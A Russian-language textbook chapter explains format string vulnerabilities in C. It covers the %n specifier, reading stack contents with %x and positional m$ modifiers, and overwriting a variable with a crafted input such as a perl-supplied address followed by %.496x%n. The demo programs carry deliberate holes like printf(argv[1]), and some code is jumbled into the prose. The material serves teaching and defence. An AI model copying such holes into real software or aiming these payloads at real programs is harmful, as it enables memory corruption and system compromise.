3.4 Теория и практика атак форматирования строки
Вступление
Использование уязвимостей класса format string представляет собой новую технологию атак на безопасность систем. Несмотря на то, что данная технология известна еще с сентября 1999, должное внимание сетевой общественности было на нее обращено только после появления публичного exploit'a remote root для wu-ftpd 2.6.0 в июле 2000.В данной главе исследуется суть проблемы и обосновывается утверждение, что желание укоротить свою программу на 6 байт достаточно, чтобы программа (а в некоторых случаях и безопасность самой системы) была скомпрометирована.
В чем состоит суть проблемы?
Большинство дыр в безопасности являются следствием или ошибок конфигурации или лени. Ошибки класса format string в очередной раз подтверждают справедливость этого правила.
Достаточно часто в программах возникает необходимость ввода-вывода куда-либо строковых данных. В отличие от атак переполнения буфера для format string не важно, куда именно выводятся строковые данные - стандартный поток вывода, файл, промежуточный буфер. Пример:printf("%s", str); Однако программист может решить сэкомомить время или 6 байт и написать так:printf(str); Думая о экономии места, программист отрывает потенциальную дыру в безопасности. Возможно, он будет удовлетворен,тем, что printf передается только один аргумент, который он просто хотел вывести в стандартный поток вывода. Однако, при разборе строки формата передаваемой фактическим аргументом в ней, в любом случае, будет производится поиск спецификаторов формата (%d, %g...). Если какой-либо из них будет обнаружен, то в стеке производится соответсвующий поиск аргумента для этого спецификатора.
Предполагается, что читатель знаком с основными специкаторами формата функций семейства printf (на этом мы останавливаться не будем). Но, как правило, немногие знают он них все. В данной статье мы будем иметь дело с малоизвестными аспектами работы спецификаторов формата. Кроме того мы рассмотрим, каким образом получить информацию, которая требуется для настройки exploit'а под конкретную систему. И наконец, все это будет продемонстрировано на конкретных примерах, чтобы внести ясность и развеять, некую "таинственность", сопровождающую этот класс exploit'ов.
Углубление в тему
Начнем с того, что сказано в большинстве книг по программированию на С : многие функций ввода-вывода позволяют осуществлять форматированный ввод-вывод данных, что означает, что нам необходимо передавать не только сами данные, но и формат их ввода-вывода для того, чтобы соответствующие функции знали как интепретировать входные(выходные) данные. Простой пример:/* display.c */ #include Первый printf() выводит значение переменных i (int) и a (char), для этого используются соответсвенно спецификаторы %d и %с. С другой стороны следующий printf() рассматривает переменную типа int как соответвующее значение кода ASCII(64).main() { int i = 64; char a = 'a'; printf("int : %d %d\n", i, a); printf("char : %c %c\n", i, a); } >>gcc display.c -o display >>./display int : 64 97 char : @ a
Ничего нового, и все это остается справедливым для функций, прототип которых схож с функциями семейства printf():Исчерпывающая информация об остальных спецификаторах формата(%g, %h, использование символа ".", для определения ширины поля вывода) доводится до читателя далеко не всегда. Как правило, никогда не затрагивается спецификатор %n. Вот, что говорит насчет него страница man:
- 1. первый аргумент, символьная строка(const char *format), используется для задания выбранного формата;
- 2. далее один или более аргументов содержат переменные, значения которых форматируются в соответствие с первым аргументом;
Количество символов в строке формата до спецификатора %n сохраняется в переменной (int), адрес которой идет следующим аргументом. Никакие аргументы не конвертируются.
Самое важное свойство %n, которое нас будет интересовать: этот спецификатор позволяет записывать данные по адресу, на который указывает второй аргумент, причем даже если printf() используется лишь для вывода данных на терминал!
Перед тем, как продолжить, отметим, что этот вид форматирования кроме того используется в функциях scanf(), syslog(), fprintf(), sprintf(), snprintf(), vprintf(), vsprintf(), vsnprintf(), setproctitle() и syslog() и т.п.
Теперь настало время изучить поведение строки формата на примерах небольших программ:/* printf1.c */ 1: #include Первый вызов printf() выведет строку "0123456789", которая содержит 10 символов. Следующий спецификатор формата запишет это значение в переменную n:2: 3: main() { 4: char *buf = "0123456789"; 5: int n; 6: 7: printf("%s%n\n", buf, &n); 8: printf("n = %d\n", n); 9: } >>gcc printf1.c -o printf1 >>./printf1 0123456789 n = 10 Немного изменим нашу программу - printf в строке 7 заменим на следующее:7: printf("buf=%s%n\n", buf, &n); Выполним новую программу - в переменной n теперь оказывается значение 14(10 символов из buf и 4 символа добавляет "buf=" в строке формата).
Таким образом, мы убедились, спецификатор %n подсчииывает все символы в строке формата, стоящие до него. Кроме того, как покажет пример ниже(printf2), он подcчитывает даже больше:/* printf2.c */ #include Использование функции snprintf() предотвращает от ошибок переполнения буфера. Поэтому значение переменной n, вроде бы, должно быть 10:main() { char buf[10]; int n, x = 0; snprintf(buf, sizeof buf, "%.100d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); } >>gcc printf2.c -o printf2 >>./printf2 l = 9 n = 100 Странно? На самом деле спецификатор %n подсчитывает количество символов, которые предполагается вывести. Данный пример показывает, что при копировании в буфер(размер 10) реальное количество скопированных символов при подсчете спецификатором %n не учитывается.
Что происходит в действительности? Сначала спецификатор %n подсчитывает количество символов и записывает его по адресу, указанному во втором аргументе, и только потом строка усекается при копировании в буфер:/* printf3.c */ #include программа printf3 содержит некоторые отличия по сравнению с printf2:main() { char buf[5]; int n, x = 1234; snprintf(buf, sizeof buf, "%.5d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); printf("buf = [%s] (%d)\n", buf, sizeof buf); } На выходе мы получаем следующее:
- размер буфера уменьшен до 5 байт.
- модификатор ширины поля вывода(".") в строке формата установлен в значение 5;
- дополнительно выводится итоговое содержииое буфера
>>gcc printf3.c -o printf3 >>./printf3 l = 4 n = 5 buf = [0123] (5) В первых двух строках вывода нет ничего интересного. А вот в последняя строка иллюстрирует еще одну особенность поведения функций семейства printf():
- 1. строка формата в соответвие со спецификаторами ожидает на входе строку вида "00000\0" ;
- 2 . все переменные записаны именно в тем места, где им следует быть. На этом этапе строка выглядит следующим образом: "01234\0".
- 3. Но при копировани в буфер она будет обрезана до "0123\0", т.к. буфер имеет размер 5.
Этот пример не столь точен, но тем не менее отражает основную суть процесса. Для получения более подробной информации рекомендуется обратиться к исходникам GlibC, в особенности к описаниям функции vfprintf() в директории ${GLIBC_HOME}/stdio-common directory.
В заключении этой части можно добавить, что аналогичный результат можно получить несколько другим путем. В предыдущих примерах использовался модификатор "." , задающий максимальную ширину поля вывода. Вместо него можно использовать 0n, где n - также максимальная ширина поля вывода, а 0 говорит о том, что им следует заменить неиспользуемые пробелы.
Теперь вы знаете почти все о форматированном вводе-выводе, а точнее об особенностях спецификатора %n.
Продолжим наши исследования.
3. Стек и printf(). Как добраться до данных, находящихся в стеке
Следующую программу мы будет использовать для исследования того, как работает printf() со стеком:/* stack.c */ 1: #include Здесь входные данные просто копируются в символьный буфер. Пока нас не интересует возможность перезаписи каких-либо важных данных в стеке (атаки класса format string требуют несколько более точной подготовки exploit строки, по сравнению, например, с переполнением буфера).2: 3: int 4 main(int argc, char **argv) 5: { 6: int i = 1; 7: char buffer[64]; 8: char tmp[] = "\x01\x02\x03"; 9: 10: snprintf(buffer, sizeof buffer, argv[1]); 11: buffer[sizeof (buffer) - 1] = 0; 12: printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); 13: printf ("i = %d (%p)\n", i, &i); 14: } >>gcc stack.c -o stack >>./stack toto buffer : [toto] (4) i = 1 (bffff674) Работает так, как мы этого и ожидали;) Перед тем как мы пойдем дальше, давайте посмотрим, что происходит со стеком при вызове snprintf() в строке 8.нижние адреса памяти верхние адреса памяти адрес возврата <-+ +-> размер buf[] +-> cодержимое tmp[] | | | <---- [ $ebp ] [ $esp ] [ ] [ ] [ ] [\0x00\0x03\0x02\0x01] [ ] | | | | +->адрес строки формата +-> cодержимое buf[] | +-> адрес buf[] верхушка стека основание стека На схеме отображено соcтояние стека непосредствеено перед вызовом функции snprintf() (это не совсем точно, тем нем менее отражает основную идею). Нас не будет интересовать регистр $esp. Аргументы функции snprintf() записанные в стек перед ее вызовом следующие:Далее cоответственно идут массив tmp[](4 байта), массив buf[](64 байта) и переменная i, как локальные данные функции main() Argv[1] играет двоякую роль: это и строка формата и данные. Пока в строке формата отсутствуют специкаторы все работает нормально.
- адрес буфера;
- количество копируемых в буфер символов;
- адрес строки формата (argv[1]);
Что изменится, когда аргумент argv[1] будет содержать спецификаторы форматирования? В обычных условиях, snprintf() будет интерпретировать их именно как спецификаторы форматирования - причины, по которой она могла бы вести себя как-то по-другому, просто нет. И здесь, возникает вопрос, откуда будут браться данные для этих спефикаторов? Фактически snprintf() будет брать их из стека! Например, добавим спецификатор %x:>>./stack "123 %x" buffer : [123 30201] (9) i = 1 (bffff674) Первая строка "123 " скопирована в буфер. Спецификатор %x дает указание snprintf() интерпретирвать первое встретившееся значение как шестнадцатеричное число. Как видно из схемы, этим числом будет ничто иное, как значение переменной tmp[] - строка "x01\x02\x03\x00". Оно будет выдано на экран как шестнадцатеричное 0x00030201, в соответсвие с представленимем чисел в x86 (little endian).>>./stack "123 %x %x" buffer : [123 30201 20333231] (18) i = 1 (bffff674) Cледующий спецификатор %x заставляет подняться выше по стеку. Он указывает sprintf(),что следующие 4 байта в стеке(после tmp[]) в стеке необходимо рассматривать как соответствующие фактические данные для %х - этими данными будут первые 4 байта буфера buffer[64]. Однако буфер содержит строку "123", которая выглядит в памяти как 0x20333231(0x20=пробел , 0x31='1' и т.д.). Таким образом, каждый спецификатр %x в sprintf() будет считывать из стека соответствующие значения (4 байта именно потому, что для хранения беззнаковых целых (unsigned int) в архитектуре x86 отводится 4 байта). Эта массив buf[] далее будет играть двоякую роль:Итак мы можем читать из стека данные пока не доберемся до сегмента кода(для формата ELF) или области разделяемой памяти(для формата СOFF).
- 1. адрес, куда будут записываться нужные нам данные(адрес возврата и т.п.)
- 2. входные данные для строки формата printf()
>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x" buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378 0x333837] (63) i = 1 (bffff654) Рассмотренный метод позволяет получать важную информацию из стека, такую как адрес возврата из функции, локальными данными которой является наш буфер. Построение строки формата специальным образом позволяет получить доступ к данным в стеке, которые расположены выше указанного буфера.
Кроме того для удобства можно дополнительно использовать модификатор m$(где m - натуральное число). Он позволяет пропускать при считывании данных из стека m 4-х байтных данных, тем самым избавлясь от данных, которые нас не интересуют./* explore.c */ #include Модификатор m$ позволяет пропустить указанное количество слов (каждое 4 байта) и вывести именно те данные, которые нас интересуют (аналогичной функциональностью обладает gdb):int main(int argc, char **argv) { char buf[12]; memset(buf, 0, 12); snprintf(buf, 12, argv[1]); printf("[%s] (%d)\n", buf, strlen(buf)); } >>./explore %1\$x [0] (1) >>./explore %2\$x [0] (1) >>./explore %3\$x [0] (1) >>./explore %4\$x [bffff698] (8) >>./explore %5\$x [1429cb] (6) >>./explore %6\$x [2] (1) >>./explore %7\$x [bffff6c4] (8) Символ "\" перед "$" необходим для того, чтобы shell не интерпретировал $ как спецсимвол(его особое значение нам необходимо только с строке формата). Первые три вызова вытаскивают из стека данные, хранящиеся в буфере(buf[12]).Буфер заполнен нулями. Следующий вызов(%4\$x) уже вытаскивает значение сохраненного в стеке $ebp. Далее %7\$x возвращает соответственно адрес возврата ($esp). Последние два результата показывают значения переменных argc и *argv(**argv - массив адресов входных параметров программы).
Приведенный пример показывает, что строка формата позволяет нам извлечь весьма важную информацию из стека. Более того, как было сказано в начале статьи, print() позволяет еще записывать данные. Это позволяет сделать вывод, что ошибки класса format string предоставляют прекрасную возможность для атак.
Двигаемся дальше.Давайте вернемся и рассмотрим стек программы:>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"' buffer : [dцяї00000000000000000000000000000000000000000000000000000000000] (63) i = 500 (bffff664) В качестве параметров программы мы передаем следующие данные:Для того, чтобы определить адрес переменной i(на используемой мною системе это будет 0xbffff664), который она получит в адресном пространстве процесса, необходимо перезапустить нашу программу и соотвественно изменить адрес i в строке формата. Как можно заметить ее адрес изменился ;). Передаваемая строка формата при вызове sprintf() будет выглядеть следующим образом:
- 1. адрес переменной i;
- 2. спецификатор (%.496x)
- 3. спецификатор (%n), которые запишет по указанными адресу наши данные.
snprintf(buffer, sizeof buffer, "\x64\xf6\xff\xbf%.496x%n", tmp, первые 4 байта буфера); Первые четыре байта(содержащие адрес i) после копирования будут расположены в начале буфера. Спецификатор %.496x позволит нам пропусить переменную tmp(она расположена в начале стека), и этому моменту мы подберемся в стеке уже к первому значению в буфере buf[], которым является адрес i, и спецификатор %n даст указание записать по этому адресу значение 500 (496 байт в .496 + 4 байта занятые в строке формата \x64\xf6\xff\xbf).
Хотя максимальная ширина поля ввода указана как 496, фактически будет записано только 60 байт(т.к. буфер имеет размер 64 байта, с учетом того, что 4 байта в строке формата занимает адрес i).
Значение 496 взято совершенно произвольно. Как мы видим, оно может быть как меньше, так и больше - спецификатор %n записывает по указанному адресу не фактическое количество скопированных байт, а то, которое указано в строке формата.
Можно пойти еще дальше. Для изменения значения переменной i нам надо было знать ее адрес ... но иногда он присутствует непосредственно в самой программе:/* swap.c */ #include Эта программа демонстрирует, при определенных условиях мы можем управлять стеком так, как хотим(почти так, как хотим):main(int argc, char **argv) { int cpt1 = 0; int cpt2 = 0; int addr_cpt1 = &cpt1; int addr_cpt2 = &cpt2; printf(argv[1]); printf("\ncpt1 = %d\n", cpt1); printf("cpt2 = %d\n", cpt2); } >>./swap AAAA AAAA cpt1 = 0 cpt2 = 0 >>./swap AAAA%1\$n AAAA cpt1 = 0 cpt2 = 4 >>./swap AAAA%2\$n AAAA cpt1 = 4 cpt2 = 0 Как видно, в зависимости от передаваемого аргумента, мы можем менять значения как cpt1, так и cpt2. Спецификатор %n предполагает, что его второй аргумент - адрес, поэтому мы может контролировать значения переменных cpt1 и cpt2 только косвенно, т.е. изменить их значения, используя %3$n (cpt2) и %4$n (cpt1) нельзя. Отметим, что этот способ достаточно часто используются при работы с переменными.
Вариации на ту же тему
Приведенные выше примеры рассчитаны на использование egcs-2.91.66 и glibc-2.1.3-22. Поэтому при их воспроизведении на своих системах вы, скорее всего, не получите в точности те же результаты. В действительности, функции семейства printf() меняют свое поведение от одной версии glibc и компиляторов gcc к другой.
Следующая программа прояснит эти различия:/* stuff.c */ #include Массивы aaa и bbb используются как разделители для удобства анализа содержимого стека. Когда нам встретим в памяти стека значение 424242, то это будет означать, что дальше расположен буфер. В таблице 1 показаны некоторые отличия в расположении данных в стеке при работе данной программы с разными версиями glibc и gcc:main(int argc, char **argv) { char aaa[] = "AAA"; char buffer[64]; char bbb[] = "BBB"; if (argc < 2) { printf("Usage : %s \n",argv[0]); exit (-1); } memset(buffer, 0, sizeof buffer); snprintf(buffer, sizeof buffer, argv[1]); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); }
Таб.5 Сравнение содержимого стека для различных компиляторов
компилятор glibc часть содержимого стека gcc-2.95.3 2.1.3-16 buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63) egcs-2.91.66 2.1.3-22 buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63) gcc-2.96 2.1.92-14 buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) gcc-2.96 2.2-12 buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63)
<<Назад К оглавлению Вперед>>